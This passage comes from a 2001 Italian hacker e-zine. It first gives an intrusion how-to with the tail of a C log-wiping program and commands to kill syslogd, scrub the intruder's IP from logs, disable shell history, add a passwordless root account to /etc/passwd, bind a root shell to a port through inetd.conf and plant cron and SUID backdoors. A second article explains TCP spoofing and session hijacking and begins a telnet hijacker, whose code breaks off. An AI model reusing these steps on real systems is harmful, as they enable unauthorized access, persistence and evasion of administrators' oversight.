| printf("\nlastlog target processed.\n") ; |
| } |
| |
| /*************************** |
| * OK moving to /var .... * |
| ***************************/
|
| for (i=0;i<4;i++) { |
| printf("Processing %s\t", varlogs[i]) ; |
| lin = fopen (varlogs[i], "r") ; |
| if (lin == 0) { |
| fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") |
| ; |
| fclose (lin) ; |
| break ; |
| } |
| lout = fopen (newlogs[i], "w") ; |
| if (lout == 0) { |
| fprintf(stderr, "\nHmmm. Couldn't reach var ...\n") |
| ; |
| fclose (lout) ; |
| break ; |
| } |
| else { |
| while (fgets(buffer, MAXBUFF, lin) != NULL) { |
| if ((!strstr(buffer, ninja)) && |
| (!strstr(buffer, zaibatsu)) && (!strstr(buffer, zaibatsu_ip))) { |
| fputs(buffer, lout) ; |
| } |
| } |
| } |
| fclose (lin) ; |
| fclose (lout) ; |
| printf(" DONE.\n") ; |
| } |
| system ("mv messages.hm /var/log/messages"); |
| system ("mv secure.hm /var/log/secure"); |
| system ("mv xferlog.hm /var/log/xferlog"); |
| system ("mv maillog.hm /var/log/maillog"); |
| exit () ; |
| } |
| |
| |
| ::th3 L0gs f1L3:: |
| |
| Ora viene il bello dell'impresa. Da questo momento sarà solo la nostra |
| abilità che ci |
| permetterà di non farci beccare dal Sys e di mantenere l'accesso alla |
| macchina il più a |
| lungo possibile ... facciamo un pò di pulizia :-D ... |
| I log piu bastardi di un sistema unix/unix-like sono situati nelle seguenti |
| directory : |
| |
| /etc/log (default) |
| /tmp/log - /temp/var/log |
| /var/run (qui trovate anche i *.pid dei demoni che girano sulla macchina) |
| /var/log - /var/adm |
| /usr/log - /usr/adm/log |
| |
| I log piu comuni possono essere cancellati tramite cleaner quali zap o |
| hideme. |
| Qui sotto riporto il programma hideme.c scritto da FuSys di BFI. |
| (vi rimando al suo articolo su BFI per maggiori info sui log di unix) |
| |
| ----------------------8< taglia qui------------------------------------- |
| |
| |
| |
| In ogni caso è bene non cancellare MAI i file log dal sistema ma cancellare |
| solo il proprio ip address. |
| |
| *NOTA* : Hideme non pulisce però tutte le nostre tracce le nostre ... |
| esistono |
| altri log al di fuori di quelli "controllati" da hideme. Di seguito trovi |
| info su come |
| risolvere buona parte dei problemi di logging. |
| |
| Prima ancora di avviare il nostro cleaner è bene killare il logger del |
| sistema |
| (syslogd) nel seguente modo : |
| |
| # ps -def | grep syslog (individuo il processo) |
| |
| # kill (pid) syslogd |
| |
| In questo modo da ora in poi ogni comando eseguito non verrà piu loggato. |
| Per essere ancora piu sicuri e bene controllare il file /etc/messagges in |
| cui si possono |
| trovare un infinità di info , oltre che al file /etc/syslog.conf per |
| scoprire altri files |
| log nel sistema che non abbiamo ancora cancellato. |
| Un altro file da controllare è il file /etc/login.defs. |
| |
| *NOTA*: quando killi il processo non verrai più loggato dai log files del |
| sistema (almeno |
| si spera! :-). Tuttavia il SyS potrebbe insospettirsi del fatto che il suo |
| syslogd è stato |
| killato, e quindi puo' pensare che qualcuno (noi ;-) abbia rootato sulla |
| sua macchina ... |
| quindi dopo aver svolto ogni operazione di "mimetizzazione" all'interno del |
| sistema riavviate |
| il demone syslogd ... |
| |
| Nel caso in cui il Sys abbia spostato i files sopra citati, è possibili |
| cercarli |
| digitando da shell il seguente comando : |
| |
| find / -name file ["file" è il nome del file] |
| |
| Per essere ancora + sicuri è doverose greppare /etc, /var e /sbin alla |
| ricerca di files che |
| possano contenere il nostro ip address e/o il nostro hostname quindi da |
| shell digitiamo : |
| |
| grep -r "hostname" /etc (l'opzione -r serve per greppare ogni files in ogni |
| directory |
| presente in /etc) |
| |
| in un secondo momento grepperemo allo stesso modo cercando il nostro ip |
| address, e al termine |
| di ciò ripeteremo le operazioni in modo uguale per /var & /sbin ) |
| Nel caso in cui aveste trovato file(s) conteneti il vostro ip/hostname |
| trattate i files nel |
| seguente modo :

  
|
| [nome file: file_bastard.log mio ip: 123.123.123.123] |
| |
| # grep -v file_bastard.log "123.123.123.123" -V > temp |
| # del file_bastard.log |
| # mv temp file_bastard.log |
| |
| In questo modo abbiamo filtarto tutte le linee che non contengono il nostro |
| ip addres dal file .log |
| in questione e le abbiamo posizionato nel file "temp". In un secondo |
| momento abbiamo cancellato il |
| file log e abbiamo posizionato temp al posto del file log : di noi non c'è |
| più traccia ! |
| [controla sempre le dimesioni dei files che tratti in questo modo per |
| evitare errori !] |
| |
| ::HIST0Ry__f1l3:: |
| |
| Ora che abbiamo cancellato le nostre traccce (si spera ! :-) dobbiamo |
| cancellare il file |
| history, in cui vengono registrati tutti i comandi da noi digitati. |
| Prima di tutto facciamo in modo che il file in questione venga cancellato |
| non appena |
| lasceremo il sistema digitando : |
| |
| # unset HISTFILE |
| e infine facciamo in modo che non venga piu scritto un nuovo file history |
| linkandolo a null : |
| # ln -s /dev/null .bash_history |
| |
| Dopo di che cancelliamo il file .bash_history dal sistema per maggiore |
| sicurezza. |
| Naturalmente il tutto vale se la shell da noi usata è la bash. Il file |
| history e situato |
| nella home dir dell'utente (controllate anche il file history di root in |
| /root per spiare |
| le operazioni dell'amministratore di sistema !!! ;-).In ogni caso se non lo |
| trovi usa il |
| comando "find" sopra citato. |
| |
| ::and n0W ?!?:: |
| |
| Ora ci resta che decidere cosa fare con il nostro nuovo sistema ! |
| Solitamente si puo' : |
| |
| 1) Defacing : a mio parere operazione INUTILE soprattutto se si parla di |
| unix e/o unix-like, |
| inquanto le shell unix sono preziose e defacciando un sito non ci si rende |
| proprio invisibili |
| agli occhi del malcapitato Admin ! |
| |
| 2) Sniffing : caricando un bello sniffer sulla nostra shell potremo |
| sniffare le password |
| di altri sistemi, ottenendo in questo modo un bel numero di nuovi account. |
| Per quanto riguarda lo sniffing prima di caricare lo sniffer è bene |
| guardare cosa gira sulla |
| macchina per trovare un nome che sia similare a quelli dei processi in |
| esecuzione |
| Per carica in "background" lo sniffer fai seguire il comando da un "&" : |
| es. # sniffer -(parametri) & |
| |
| 3) Us3 the shell : avendo a nostra disposizione una bella shell di root |
| possimao fare un sacco |
| di cose, caricare BOT, BNC, usare i datapipe ecc... ma sconsiglio di |
| utilizzare le shell in |
| questo modo, inquanto ben presto potreste perdere l'accesso al sistema ! |
| [x BNC : http://www.tuttoscript.net, X BOT "eggdrop" -> su : |
| http://packetstormsecurity.org ] |
| [su BFI trovi diverse info sui "datapipe" oltre che ad ottimo codice] |
| |
| ::B4ck_d00rS:: |
| |
| Ora è di nostro grande interesse creare delle backdoors per accedere in |
| futuro al sistema |
| bucato. Esistono moltissime backdors che possono essere utilizzate sotto un |
| sistema unix |
| unix-like, quindi mi limiterò a descrivere le più semplici (ma purtroppo |
| anche quelle meno |
| occultate nel sistema!) : |
| |
| 1) n3w 4ccount : bucato il sistema si potrebbe voler aggiungere un nuovo |
| account per futuri |
| accessi. Si può usare il comando adduser ma la via piu veloce è la |
| seguente : |
| |
| echo "r00t::0:0:r00t:/:/bin/bash" >> /etc/passwd |
| |
| In questo modo telnettandoci al server vittima si potrà accedere al |
| sistema inserendo solo |
| il login (r00t). Nessuna password è richiesta in questo caso. |
| |
| 2) sh3LL : Un'altra interessante backdoor è di mettere in ascolto di una |
| porta da noi |
| scelta una shell root, modificando in modo adeguato il file |
| /etc/inetd.conf nel |
| seguente modo : |
| |
| echo "666 stream tcp nowait root /bin/bash bash -i" >> /etc/inetd.conf" |
| |
| e poi riavviando il demone nel seguente modo : |
| |
| killall -HUP inetd |
| |
| 3) m0dify /b1n : è possibile modificare inoltre il contenuto della |
| deirectory /bin per |
| inserire interessanti backdoors. Un esempio potrebbe essere sostituire |
| il "
cal" con una |
| SUID shell. Eseguendo "
cal" otterremo il MAGNIFICO "#" ! |
| |
| Per quanto riguarda la trattazione delle backdoors vi consiglio vivamente |
| di leggere gli |
| articoli pubblicati su BFI, molto ben fatti e completi. |
| |
| ::TrcCh1 & s3gr3t1:: |
| |
| A questo punto è bene ilusrare una serie di trucchetti utilissimi per |
| mantenere l'accesso |
| alla macchina il più possibile. |
| |
| 1) /etc/syslog.conf : questo file è stato accenato in precedenza. Esso |
| specifica al demone |
| syslogd COME e dove loggare ogni accesso ecc ... spesso però il logging può |
| avvenire |
| su macchine diverse da quella che abbiamo hackerato. Se ciò avvinene |
| troverai |
| nel file /etc/syslog.conf una cosa del genere : |
| |
| *.* @somehostname.xxx |
| |
| Vedere il contenuto di syslog.conf è utile anche per scoprire log che sono |
| sfuggiti |
| al cleaner. Da shell digita : |
| |
| # more /etc/syslog.conf |
| |
| Il risulatao sarà illuminante ... :-)) |
| Annota soprattutto se info e/o warnign vengono spediti per e-mail al root. |
| Dopo di che |
| spostati nella directory specificata e cerca eventuali ip/host digitando : |
| |
| grep yourhost * | more |
| grep yourip * | more |
| |
| Se vuoi avere un maggior controllo del sistema, puoi modificare il |
| contenuto di |
| syslog.conf e dirottare log/info dove vuoi tu ... ricorda che se il Sys è |
| un pò sveglio |
| si accorgerà ben presto delle modifiche ! |
| In ogni caso se decidi di fare ciò ricorda di killare prima syslogd e di |
| riavviarlo dopo |
| aver modificato il contenuto del file syslog.conf. |
| |
| 2) Mail reading : la lettura della posta del sistema che hai bucato puo' |
| esserti MOLTO utile per studiare il tuo nemico e per scoprire nuovi |
| segreti. |
| Ricordati di non leggere MAI la posta con gli appositi programmi di "
mail |
| reading". |
| La posta (non letta) la puoi leggere TUTTA nella directory /var/spool/mail. |
| Cerca ppiuttosto un programma mail che non aggiorni i putatori ... |
| In ogno caso le mail già lette puoi trovarle in /root/mail e in ogni |
| /user/mail. |
| [in /var/spool trovi anche trovi non solo la posta degli utenti ma anche le |
| code di |
| stampa, cron, ecc ...] |
| |
| 3) Cron table : è consigliabile prendere in considerazione i cron (in |
| /var/spool/cron) |
| per controllare eventuali "
bastardate" settate dall'amministratore che |
| potrebbero |
| fregarci ... :-> |
| I cron possono essere inoltre utilizzati per settare interessanti |
| backdoor. |
| Un esempio? un cron che attivi uno script, il quale a sua volta mette in |
| ascolto di una porta da noi scelta, una SUID shell a mezzanotte ... |
| Si può anche fare in modo che sia il cron a settare la shell direttamente, |
| ma sarebbe |
| troppo semplice per l'Admin scoprire la backdoor ... ancora meglio se |
| modifichiamo |
| eventuali script dell'amministartore a nostro piacimento, non so se mi |
| spiego ! :-) |
| |
| 4) /etc/login.def : si è accennato a questo file anche in precedenza , be |
| non c'è |
| da dire molto ... guardatelo perchè potreste trovare delle sorprese ! |
| |
| 5) Files INFO : ogni file che andremo a modificare riporterà la data e |
| l'ora della sua |
| ultima modifica ... per essere ancora più invisibili nel sistema bisogna |
| annotarsi la data |
| e l'ora di ogni files, e ripristinarla dopo che abbiamo modificato i file |
| in questione, con |
| il comando "
touch" (man touch). Analogamente bisogna cambiare il gruppo di |
| apparteneza dei |
| files che carichiamo nel sistema con il comando "
ghgrp". |
| |
| ::c0nclus10n1:: |
| |
| AL termine di questo mini HOWTO, vorrei consigliare di fare mooolta |
| attenzione quando si |
| cerca di bucare un sistema unix, perchè non si è mai sicuri al %100 di fare |
| hacking in |
| assoluta anonimicità ! Fate anche molta attenzione hai sistemi che cercate |
| di bucare ! |
| Server di siti molto importanti potrebbero far girare degli IDS (intenet |
| Detection System), |
| dei veri e propri figli di PUTTANA sempre pronti a mettervelo nel cul... |
| Buona fortuna ragazzi e mi raccomando moolta (con due o) attenzione ! |
| |
| ::s4lut1:: |
| |
| Un grande saluto a tutte le persone che mi hanno aiutato (o meglio a cui ho |
| rotto le palle per |
| imparare qualcosa ;-) a tutti gli amici di #TNT, #HX , #hackmaniaci , |
| #preak.it , #isoladeipirati. |
| Infine un grande saluto a Mr.Wolf , LordMark , wHiTeSnAk , FRANZ , Zero , |
| Tritemius (6 il migliore), |
| SonGoten , LordMirror , bartx , Theli (il cracker olandese) e a tutti gli |
| amici della TNT crew ! |
| |
| ::FucK:: |
| |
| Un bel VAFFANCULO a tutti i conglioni che sono andati a rompere il cazzo al |
| G8 e che le hanno |
| prese di santa ragione !!! (ahahahhaha) |
| |
| EOF. |
| +---------------------------------------------------------------------------+ |
| | c0nt4ct m3 : d3fu@hushmail.com | |
| |---------------------------------------------------------------------------| |
| | 1rc : irc.tin.it #phreak.it - #crack.it - #isoladeipirati | |
| |---------------------------------------------------------------------------| |
| | 1rc2 : irc.azzurra.net #TNT - #hackmaniaci - #HX | |
| +---------------------------------------------------------------------------+ |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #04 - 19/11/2001 |
| Spoofing & Hijacking [CityHunter] 0x07/0x23 |
+-------------------------------------------------------------------------------+
| |
| Yo a tutti!Questo è il mio primo articolo che ho l'onore e l'onere di |
| scrivere! |
| Scriverò certamente cagate(spero il meno possibile...altrimenti che lo |
| scrivo a |
| fare?)e siete pregati quindi di mandarmi email con relativi improperi e |
| possibil |
| mente aiuti espiegazioni! So che i ringraziamenti andrebbero alla fine, ma |
| vista |
| l'importanza che hanno per me e per quel poco che ho appreso in varie ore di |
| lettura ho deciso di metterli in cima! |
| In primis colui che per primo mi ha salutato su #hack e che mi ha dato la |
| chioc- |
| ciolina:-) XpTerminator(continua così frà che vai forte!E voglio la prima |
| della |
| tua nuova guida!!)un grandissimo saluto alla splendida Delilah(non ricordo |
| dove |
| va la "
h"...non te la prendere!!:-))),Marsio e il mitico BIGAlex per le |
| chiacchi |
| erate e tutti gli altri che non ricordo in questo momento(vi aggiungo più |
| tardi!!), ma soprattutto questo art va a FuSyS di BFI che mi inizializzato, |
| tramite i suoi progetti, all'arte dello spoofing(di cui,insisto,sono ancora |
| uno |
| studentello!). |
| Ok...bando alle ciance e cominciamo col fare qualcosa di concreto! |
| Questo è un art misto tra un how to e soprattutto spiegazioni di quello che |
| si |
| trova in rete.Lo scopo finale dell'articolo è riuscire ad acquisire le |
| conoscen- |
| ze atte a creare un telnet hijacker con supporto ethstavo rileggendo ciò che |
| ho scrittofino qui...cazzo che |
| serio!!!Ho qualcosa che non va oggi:-)) |
| Prima di incominciare con lo spoof è bene dare un'occhiata ai vari |
| protocolli |
| TCP/IP (che ricordoper i super newbies essere un insieme di protocolli e non |
| uno |
| solo)! |
| |
| +------------------------------+ |
| | TCP/IP | |
| +------------------------------+ |
| |
| Farò una spiegazione abbastanza breve perchè su questo di roba in giro per |
| la |
| rete se ne trova in abbondanza. |
| |
| IP: è il protocollo che fornisce un servizio di distribuzione di datagrammi |
| inaffidabile. |
| Inaffidabile perchè non ci è data la garanzia che ciò che spediamo arrivi e |
| in |
| che ordine(se arriva).Molto importante nel campo dello spoofing è l'header |
| del |
| pacchetto, dove sono contenute le nostre"
vitali" informazioni. Non sto qui a |
| farvi i vari schemini del caso perchè ci ha già pernsato in maniera pi- che |
| efficente Xp nel numero3 di OndaQuadra e vi rimando a lui(e al progetto |
| OnoSendai di Fusys su BFI)(dove tra l'altro questa parte è decisamente fatta |
| meglio di quello che sto scrivendo...ma ripetere cose identiche non mi pare |
| il |
| caso...poi passo per copione:-)):-P) |
| |
| TCP:il nome in sŠ dovrebbe gi… dirvi a cosa serve...Transmission Control |
| Protocol. Bravi!Avete capito...tu?Là in fondo?Non hai capito...ok...spiego |
| per |
| tutti:-) TCP è ciò che ci permette di trasferirei nostri file senza perdite |
| di |
| dati(cosa che sarebbe molto probabilemente accaduta se avessimo usato solo |
| IP), |
| che d… vita ai vari servizi quali Telnet, FTP, Http ecc.(se vi interessa la |
| spe- |
| cifica ufficiale è nell'RFC 793). |
| Il trasferimento dati avviene in modo bufferizzato, cioŠ prima di effettuare |
| una |
| trsmissione attraverso IP, il TCP attende di aver riempito un'area di |
| memoria |
| (buffer appunto) con una quantit… di dati che valga il costo della |
| trsmissione:) |
| ...è anche possibile forzare le trasmissioni...ma non ci riguarda da vicino! |
| |
| Qui vi immetto lo schemino perchè ci tornerà utile in seguito: |
| |
| |
| +---------------------------------------------------------------------------- |
| trsmission+ |
| | | | |
| | |
| | IP Header | TCP Header | TCP Data |
| | |
| | | | |
| | |
| +---------------------------------------------------------------------------- |
| + |
| Tutti e tre assieme formano il datagramma IP, gli ultimi due(quelli che |
| iniziano con TCP per intenderci) il segmento inerente al TCP |
| |
| Qui guardiamo con attenzione il TCP Header: |
| |
| +---------------------------------------------------------------------------- |
| in--+ |
| | 16 bit per la porta di partenza |
| | 16 bit per la porta di destinazione |
| +---------------------------------------------------------------------------- |
| | 32 bit SEQ number |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | 32 bit ACK number |
| |
| +---------------------------------------------------------------------------- |
| --+ |
| 4 bit | |
| | |
| |lunghezza | 16 bit window size |
| |
| |header | |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | 16 bit checksum | 16 bit urgent pointer |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | option |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| | data |
| | |
| +---------------------------------------------------------------------------- |
| --+ |
| |
| Ok...passiamo ad analizzare alcuni campi(quelli che più ci interessano): |
| i primi due sono la porta dell'host di partenza e quella di destinazione. |
| Ed ora arriviamo a ciò che più ci interessa(e che più mi spaventava...un |
| casino!!!): |
| il SEQ i l'ACK (ricordiamo anche la flag SYN che fa parte del datagramma |
| IP... |
| ne parlo come se non fosse importante...mah...è importantissima cmq!!!) |
| |
| SYN sta per SYNchronise, sincronizza i numeri SEQ dei due host; |
| ACK sta per ACKnowledge, riconosce i dati inviati dal peer; |
| FIN sta per FINished, l'origine ha terminato la trasmissione dei dati; |
| RST sta per ReSeT, rompe la connessione; |
| ci sarebbero anche PSH(push) e URG(urgent)...ma poi vi stufate di leggere e |
| mi |
| mandate le mail con gli improperi!:-)). |
| |
| Ora,tanto per capire meglio come avviene una connessione TCP/IP vi simulo un |
| inizio di connessione:siamo nel nostro bel computerino in casa alle 4 di |
| notte |
| (o mattina??...mah...) e decidete di connettervivia telnet alla vostra |
| backdoor |
| preferita(in questo caso potrebbe essere una sessione telnet) |
| Voi impersonate l'host A(scegliete...Attacker...Acker senza H....fate |
| voi:-)) |
| il server sarà l'host B(bersaglio?:-)) |
| Aprite il vostro bel telnet e connettetevi...vediamo ciò che succede nella |
| vostra bella connessione (per lo scopo, se volete provare, usatevi un bello |
| sniffer tipo TCPDump o cose simili...se ho tempo |
| vi metto un semplice sniffer allegato)(mi spiace...non faccio in |
| tempo...devo |
| studiare!Cmq tcpdump dovrebbe esserci in ogni distribuzione...ed è |
| sicuramente |
| meglio di quello che vi avrei dato io!!!) |
| |
| (prima uno schema facile poi quello nel dattaglio) |
| |
| ---------------syn---------------> 1) |
| A) <----------syn [ack=(isn+1)]------ (B 2) |
| ---------------[ack=(isn+1)]-----> 3) |
| |
| voi cercate di iniziare una connessione con B e gli spedite una bella SYN |
| (passo |
| 1) B risponde con la vostra SYN e il suo ACK (uguale all'ISN di A+1...dopo |
| questo passo lo spiego meglio) |
| ed infine A rimanda l'isn di B+1. Che fatica...credo non abbiate capito |
| nulla, |
| vero? Ok...ci riprovo con un esempio più pratico: |
| |
| A:190.10.10.1 |
| B:190.10.10.2 (li ho usati simili per comodit…...non implica che debbano |
| essere |
| nella stessa subnet) |
| |
| salto la connessione telnet e arrivo al quid...il 3-WAY HANDSHAKE(applausi |
| di |
| sottofondo) |
| |
| 190.10.10.1:69 >190.10.10.2:23 SEQ:1323466780 ACK:0 FLAGS: SYN |
| 190.10.10.2:23 >190.10.10.1:69 SEQ:3242354354 ACK:1323466781 FLAGS: SYN |
| ACK |
| 190.10.10.1:69 >190.10.10.2:23 SEQ:1323466781 ACK:3242354354 FLAGS: ACK |
| |
| dovreste ritrovarvi un po' vero?(ditemi di sì...se no mi scoraggio!:-))) |
| |
| Come promesso vi spiego l'ISN di cui non ho ancora parlato. ISN sta per |
| initial |
| sequence number. |
| Il SEQ di A(primo dato trasmesso) prende anche il nome,appunto,di ISN. |
| |
| Ok...mi pare proprio di aver detto tutto riguardo al 3-WH...se non avete |
| capito |
| qualcosa...beh..mi spiace per voi ma più di così non saprei che dirvi!:-)) |
| |
| Ora inizia la parte difficile anche per me(sto scrivendo questo articolo |
| soprattutto per me...per riordinare le idee) |
| |
| Vorrei parlare soprattutto di Hijacking quindi salterò parti importanti come |
| lo |
| sniffing... quando avrò accumulato più info al riguardo ve ne parlerò poi:-) |
| Per ora accontentatevi! |
| |
| Faccio ancora una piccola digressione per darvi un'infarinatura generale |
| sullo |
| spoofing, anche se credo ne sappiate gi… abbastanza...ma si spera sempre di |
| colmare qualche piccola lacuna!Ma prima... |
| |
| DISCLAIMER |
| ========== |
| Questo documento è stato sviluppato solo per scopo educativo, per |
| aiutare a capire le reti, ed aiutare i sysadmin a difendersi da eventuali |
| attacchi descritti in questo documento. Di conseguenza l'autore del |
| testo non si assume nessuna responsabilità su ciò che venga fatto |
| tramite queste informazioni, e non ne incita l'utilizzo per scopi |
| fraudolenti. |
| |
| (miseramente rippato dalla guida di Xp...grazie frà!:-)))(non l'ho messo |
| prima |
| perchè non avevo ancora messo nulla di "
compromettente") |
| |
| ledis end gentlemen... |
| +--------------------------------------------------------+ |
| | | |
| | IP-SPOOFING | |
| | | |
| +--------------------------------------------------------+ |
| |
| Per SPOOFING si intende quella tecnica(o insieme di tecniche) atta a |
| costruire i |
| propri pacchetti IP con indirizzo di provenienza falso. Immaginate quanto |
| questo |
| sia affascinante e utile ai nostri loschi scopi(dimenticavo...è un |
| tutorial... |
| quindi di cose da bimbi cattivi non bisogna parlare, hihihihi). |
| Massimo anonimato, possibilità di scavalcare firewall(e tanto altro che |
| lascio |
| alla vostra immaginazione) ...cosa volete di più dalla vita? Purtroppo tutto |
| questo ben di Dio non è proprio facile facile da ottenere:-( |
| Ma vediamo di distinguere un po' le cose: lo spoofing si divide in vedente e |
| cieco(che bravo che sono...ho pure messo la i in cieco:-)) |
| |
| Il vedente è un po' il fratellino minore...quello che che ancora non conosce |
| tutti gli angoli della suacasa e deve usare gli occhi per girarla(minchia |
| che |
| esempio...cmq avete capito!) |
| Un po' più tecnicamente accade questo: abbiamo un bello sniffer installato |
| nella |
| rete che vogliamo attaccare e grazie a lui possiamo vedere tutti i SEQ e ACK |
| che |
| ci servono per instaurare una connessione così |
| facendo siamo in grado di vedere appunto ciò che accade e i dati che |
| riceviamo |
| (da qui "
vedente"). |
| |
| In un attacco cieco invece le grane aumentano parecchio...non vedremmo alcun |
| dato tornare indietro(immaginate: impersoniamo il server A e vogliamo |
| connetterci a B usando l'indirizzo di C...secondo voi dove vanno i dato che |
| B |
| manda?...Bravi!a C...e noi chi siamo? A...quindi?Non vedremo un beneamato |
| cazzo) |
| e noi non saremo in grado di conoscere i SEQ e ACK necessari per la |
| connessione |
| ...dovremo proprio indovinarli. |
| Questa parte però non l'ho ancora approfondita, quindi noi ci occuperemo di |
| una |
| particolare tecnica del vedente:l'Hijacking!!!!!!!!!!(rullo di trombe e |
| squilli |
| di tamburi!!!) |
| |
| +----------------------------------------------------------+ |
| | | |
| | HIJACKING | |
| | | |
| +----------------------------------------------------------+ |
| |
| L' Hijacking è una versione molto interessante dello spoofing vedente. |
| Consiste |
| nel dirottamento della connessione in corso e nell'inserimento di dati |
| nostri |
| nella connessione che vogliamo attaccare. |
| Che figata vero?:-)) C'è da precisare(purtroppo,altrimenti sarebbe il |
| paradiso) |
| che questo tipo di spoofing lo si più fare quasi unicamente quando A e |
| C(vedi |
| sotto) sono nella stessa sottorete, quindi questo accade solitamente in una |
| LAN. |
| |
| Facciamo uno schemino che ormai c'ho preso gusto:-)) |
| |
| I giocatori sono i soliti A(noi) |
| B(bersaglio) |
| C(cazzone a cui rubiamo la connessione) |
| |
| B <---------------------/---------------->C (hihihihi...poverino) |
| | |
| | |
| / |
| / |
| A--------------> |
| |
| Ok,Ok...piccola spiegazione tecnica: in sostanza B e C entrano nello stato |
| ESTABLISHED dopo il 3-WH. |
| A questo punto l'attacco funge così: A inserisce nella connessione in corso |
| tra |
| B e C dei dati |
| desincronizzando la connessione legale e alterando la coppia SEQ/ACK del |
| server |
| in faccia al client. |
| Prima però di spiegare come avviene la desincronizzazione c'è da precisare |
| una cosa:per forza di cose,come abbiamo visto sopra, questo attacco si può |
| fare quasi unicamente via LAN (almeno A e C devo essere nella stessa |
| sottorete)quindi occorre mettere l'interfaccia di rete eth in modalità |
| promiscua.Che vuol dire promiscua? Semplice...se non lo facessimo noi non |
| vedremmo i dati tornare indietro...in sostanza mettendo in modalità promiscua |
| vedremo tutti i dati che partono e arrivano nella nostra LAN.La funzione che |
| lo fa nel codice è la "
ethclose". Se vorrete creare uno sniffer dovete |
| assolutamente ricordarvi di mettere la vostra interfaccia in modalità |
| PROMISCUA. |
| |
| |
| Ok...per desincronizzare B e C come si fa?Pronti...ci sono tre bei metodi:-) |
| |
| d1)Quando il server(A) si trova nel punto 2 dello schemino fatto sopra(quello |
| del |
| TCP/IP) inviamo un bel pacchetto RST(chiaramente fingendo da parte del |
| client)e |
| cerchiamo di instaurare una nuova connessione con un nuovo ISN. Il server |
| aggiornerà il suo ACK e cercherà di rispondere con un nuovo ISN. Noi |
| rispondiamo con un ACK all'ISN del server. Cosa succede quindi? Il client(C) |
| resta in stato ESTABLISHED ma sarà scoordinato rispetto al nuovo ISN del |
| server |
| (A). |
| |
| 2)(Metodo più grezzo se vogliamo perchè meno occulto) Inviamo al client dei |
| messaggi ICMP del tipo HOST(port)_UNREACH(vedi nuker su IRC) e noi |
| allegramente |
| ci impadroniamo della connessione. |
| |
| 3)(Quello che useremo) A connessione già avvenuta da Client e Server ci |
| connettiamo al server (chiaramente con l'IP del client...se no a che |
| serve?:-))) |
| incrementando così l'ACK del server.Così facendo otteniamo la |
| desincronizzazione |
| del client dal server e noi saremo nel flusso della connesisone. |
| |
| Ora si aprono due strade...un po' come l'amleto:occultati, o non accultati? |
| Questo è il dilemma!(era l'amleto vero?Che poi mi tiro la zappa sui piedi |
| facendo il figo:-))) |
| Mo' spiego: se optiamo per la prima scelta dobbiamo smistare i pacchetti |
| diretti |
| dal server a noi e diretti al client giusto(man in the middle), |
| altrimenti,nella |
| seconda ipotesi, lasciamo che il client blocchi la connessione(lasciandolo |
| per |
| esempio in FIN_WAIT1. |
| |
| Ok...possiamo dire che qui si conclude la parte più teorica(e temo la più |
| facile |
| ...so già che mi sono cacciato in un bel casino!:-)))e ora ci immergiamo nel |
| magico mondo di Polly Pocket...ehm...no...volevo dire della |
| programmazione:D(che |
| burlone che sono:-)) |
| |
| Prima di attaccare vi do i vari testi di riferimento da cui mi sono |
| ispirato(e |
| anche rippato...non c'è nulla di male se si mettono gli autori no?Se |
| qualcuno ha |
| da ridire...pasiensa:-))) |
| 1) Tutti gli articoli di FuSyS su BFI(numeri 3,4,5 se non ricordo male),in |
| particolar modo i progetti Onosendai; |
| 2) coder@reptile per il suo testo basilare "
A short overview of IP spoofing: |
| Part I";e per i vari codici esplicativi; |
| 3) LordFelix su BFI2(o 3...non li ho sottomano e non mi ricordo) per il |
| tutorial |
| sulla programmazione dei socket; |
| 4) Il signore degli anelli...non c'entra molto, ma se non l'avete letto dico |
| in |
| giro che ce l'avete piccolo piccolo e non riuscirete mai ad hackare un |
| cazzo; |
| |
| Ok...Fine prima parte! |
| |
| +---------------------------------------------------------------+ |
| | | |
| | Hijacking telnet | |
| | | |
| +---------------------------------------------------------------+ |
| |
| Qui cercherò di darvi tutte le spiegazioni inerenti alle varie funzioni del |
| nostro codice. Avrei potuto utilizzare l'#include<spoofit.h> di |
| coder@reptile... |
| ma senza sbattervi non avreste capito una mazza!Così c'ho pensato io per |
| voi! |
| Allora coraggio,iniziamo la nostra avventura nel codice! |
| |
| -------------se non vuoi sbatterti a ricopiare taglia |
| qui----------------------- |
| |
| /**************************************************************************** |
| * Hjtel.c Telnet Hijacker di base...non aspettatevi grandi cose!Serve |
| * per darvi un'infarinatura |
| * Se avete letto tutto ciò che sta sopra sapete già come |
| * funziona. Non ho voglia di |
| * ripetervi tutto!:-)) Funziona sotto eth...se proprio lo |
| * volete sotto ppp non farete fatica |
| * a cambiare il codice! |
| * I testi a cui mi sono ispirato li ho già elencati. |
| * I ringraziamenti già fatti!:-) Grazie a tutti! |
| * Un'ultima cosa poi comincio(fidatevi...comincio davvero!!)! |
| * Ho sempre sognato di farlo |
| * Ora:il tutto è stato fatto in tre giorni...dalle 2 di |
| * pomeriggio alle 2 di notte:-) |
| * Cibo consumato: nulla...gomme per tenere reattiva la mente(e |
| * l'alito...dopo si va dalla tipa:-DD) |
| * |
| * Musica: in questo momento i motori di GT2 del mio coinquilino |
| * (che saluto e mando...:-)* |
| * |
| * Altro...??Mi tocca iniziare!:-))) |
| * |
| * |
| * |
| ***************************************************************************** |
| |
| |
| #include <netdb.h> |
| #include <stdlib.h> |
| #include <unistd.h> |
| #include <stdio.h> |
| #include <errno.h> |
| #include <netinet/in.h> |
| #include <linux/ip.h> /*include dove sono definite le strutture |
| dell'ip...*/ |
| #include <linux/if.h> |
| #include <sys/ioctl.h> |
| #include <sys/types.h> |
| #include <signal.h> |
| #include <fcntl.h> |
| |
| #define MTU 1500 |
| #define IP_VERSION 4 |
| #define IP_HEAD_BASE 20 |
| #define TCP_HEAD_BASE 20 |
| #define INTERFACE "
ppp0" /*per Ethernet mettete "eth0"*/ |
| #define INTERFACE_PREFIX 0 /*sempre per Ethernet mettete 14*/ |
| #define MY_TOUCH 666 |
| #define URG 32 /*da URG a FIN sono le TCP |
| flags...*/ |
| /*dovreste saperlo no?Cmq è scritto |
| sopra*/ |
| #define ACK 16 |
| #define PSH 8 |
| #define RST 4 |
| #define SYN 2 |
| #define FIN 1 |
| |
| int DEV_PREFIX; |
| sig_atomic_t WAIT_PACKET_WAIT_TIME = 0; |
| int fd_recive, fd_send; |
| |
| |
| /* Iniziamo con le nostre belle strutture */ |
| |
